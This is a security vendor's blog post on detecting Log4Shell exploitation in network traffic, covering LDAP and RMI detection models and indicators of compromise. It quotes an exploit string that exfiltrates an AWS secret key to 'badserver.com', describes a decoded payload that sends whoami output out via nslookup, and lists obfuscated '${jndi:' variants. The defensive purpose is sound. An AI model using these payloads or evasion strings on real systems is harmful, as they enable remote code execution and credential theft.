Blog Post

Threat Hunting for Log4j Exploits on the Network

What the $hell?

Summary

This blog demonstrates through practical application the process of threat hunting for Log4j exploits on the network. We describe the process the Awake Security team went through to detect the recently published exploit, Log4Shell. We hope this helps security analysts and threat hunters with the ongoing effort to track down this ever-changing threat vector.

Outline

  • Background of Log4Shell
  • Example Threat Detection Models
  • Conclusion

Background

A recently published vulnerability (CVE-2021-44228) within Apache Log4j (2.0 to 2.14.1), a Java-based logging module, allows an attacker to access an application using the Log4j module (and the underlying host for the application as well) simply by sending a crafted string to the vulnerable device. Once the Log4j application processes the exploit string, the vulnerable device will make an outbound request to an attacker-controlled device which will, in turn, download malicious Java code. When this occurs, attackers can run any code they wish (See Figure 1). In just a few days of the exploit being publicly released, we have observed thousands of exploitation attempts across many customers.

log4Shell Attack

Figure 1: Attack Process

Figure 1 shows LDAP as an example. However, multiple additional protocols have been observed in use with this exploit. We explore some of these below.

Detection Process

The early detections Awake created were based on basic string matching:

Initial log4Shell detection modelSingle artifact log4Shell detection model

Figure 2: Single-artifact detections

LDAP Detections

We began monitoring results and within hours it became challenging to differentiate scans from successful exploits using this technique. Fortunately, the Awake Security platform has a unique ability to chain multiple network events together using recursive lookups. This is like running a filter on all network traffic, then using those results to perform follow-up queries. Figure 3 shows a detection that first identifies the initial malicious string being sent, followed by an LDAP request outbound to the malicious IP. Awake’s platform allows both events to appear in the results.

Chained artifact log4Shell detection model

Chained event log4Shell detection model

Figure 3: Chained-event (LDAP) detection

We began noticing attempts to hide the malicious string from network and endpoint detections by splitting the string into multiple sections, as well as placing it in different header fields:

log4Shell detection evasion

Awake also detected heavier obfuscation techniques than those mentioned above. In these instances, the exploit string and callback server IP address was obfuscated and injected into the sAMAccountName LDAP field. This can easily be seen in the Captured Data tab of the Activity Profile:

log4Shell detection evasion technique

Many organizations were using large regular expressions to identify variations of the string. Awake quickly identified that all attempts to hide this string still required “${“ within them. Chaining multiple filters together allowed us to detect more variations in the malicious string by broadening the initial filter but relying on the second filter to reduce (and eliminate) false positives.

Initial Access: Possible Log4Shell Exploitation

Figure 4: Initial Access: Possible Log4Shell Exploitation

Not all attacks use the same source IP address as a callback. In order to detect these types of attacks, we created a detection to look for LDAP queries that respond with Java Class information. These are unusual and indicative of a vulnerable device:

log4Shell exploitation theft of keys

log4Shell detecting Java code-threat hunting for Log4j exploits

Looking into the events above, we can see malicious Java code being delivered to the vulnerable server:

log4Shell malicious Java code-threat hunting for Log4j exploits

The Awake Security Threat Research Team decoded the malicious payload as shown below:

log4Shell decoding powershell-threat hunting for Log4j exploits

log4Shell shell commands-threat hunting for Log4j exploits

Decoding the output revealed a script that:

  • runs the whoami command
  • base64 encodes the results
  • Runs nslookup on
    <whoami results>.ujhx178eynvy7i4lkugwewb1ksqje8[.]nsa[.]systems

This nslookup is most likely logged on the attacker’s server as a form of a check in.

RMI Detections

The previously mentioned detections were focused on LDAP being utilized during the exploitation process. So far, we have observed that most attempts to exploit this vulnerability were using the LDAP protocol; however, it is important to detect other methods. In this section we describe hunting for, and detections based on RMI, another protocol used in the wild by the exploit.

Along with chaining different activities (see example in Figure 3), the Awake Security Platform can also hunt based on frequency analysis of a set of network activities. Figure 5 shows a detection for outbound RMI traffic going out to the internet. Because this type of activity occurs legitimately, we alert when the same activity is found less than 100 times on a network. This detection filters out common RMI traffic and allows investigators to focus on less common events.

log4J exploit Java RMI-threat hunting for Log4j exploits

Figure 5: Execution: Java RMI to Uncommon External IP (seen in successful Log4j exploits)

Secret Key Exfiltration via DNS or LDAP

The log4j vulnerability has also been used to access secret keys on a vulnerable server with exploit strings like:

${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.badserver.com}

Awake customers are protected by a threat detection model Credential Access: Secret Key in Request Payload (a Log4j Exploit Vector). This model is looking for payloads of DNS request or LDAP objects being used for exfiltration of secret keys to services such as those in the list below:

  • Slack Token
  • Facebook Oauth
  • Twitter Oauth
  • GitHub Key
  • Google Oauth
  • AWS API Key
  • Heroku API Key
  • Slack Webhook
  • Google (GCP) Service-account
  • Twilio API Key
  • AWS-Key

Conclusion

The Log4j vulnerability is widespread with detrimental effects on systems. While Apache has patched the vulnerability in a recent update, downstream applications and customers using older versions of Log4j must apply the updates. The significant effort involved in this process is likely to cause delays and leave systems vulnerable for months or even years. During this time, we will see evolutions in how this attack is performed. Awake is watching this event closely and will continue updating and developing detections. If you have any questions about this vulnerability, or would like to know if you’re impacted, please contact us.

Key Contributors: Eric Poynton, Nicholas Winger, Gary Golomb

Indicators of Compromise

Awake Security identified large numbers of attempts to exploit Log4j across multiple partners, and 71 unique callback URLs. The following is a breakdown of events seen:

Sources of log4J scanning activity-threat hunting for Log4j exploits

IP Addresses

45[.]130[.]229[.]168

45[.]137[.]21[.]9

45[.]146[.]164[.]160

45[.]155[.]205[.]233

45[.]83[.]193[.]150

45[.]83[.]64[.]1

195[.]54[.]160[.]149

205[.]185[.]115[.]217

81[.]30[.]157[.]43

89[.]88[.]62[.]51

47[.]254[.]127[.]78

193[.]3[.]19[.]159

23[.]160[.]208[.]100

167[.]172[.]44[.]255

163[.]172[.]157[.]143

162[.]55[.]90[.]26

Domains

vdesktopla[.]homeboxoffice[.]com

twittermisc[.]com

cuminside[.]club

remoteflipside[.]com

requestbin[.]net

runkit[.]sh

twittermisc[.]com

att[.]com[.]im

sunbb[.]nl

Obfuscation Techniques

${jndi:ldap:

${jndi:${lower:l}${lower:d}a${lower:p}:

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}:

${jndi:${lower:l}${lower:d}${lower:a}${lower:p}:

${jndi:dns:

 

Subscribe!

If you liked what you just read, subscribe to hear about our threat research and security analysis.

Awake Threat Research

Threat Research Team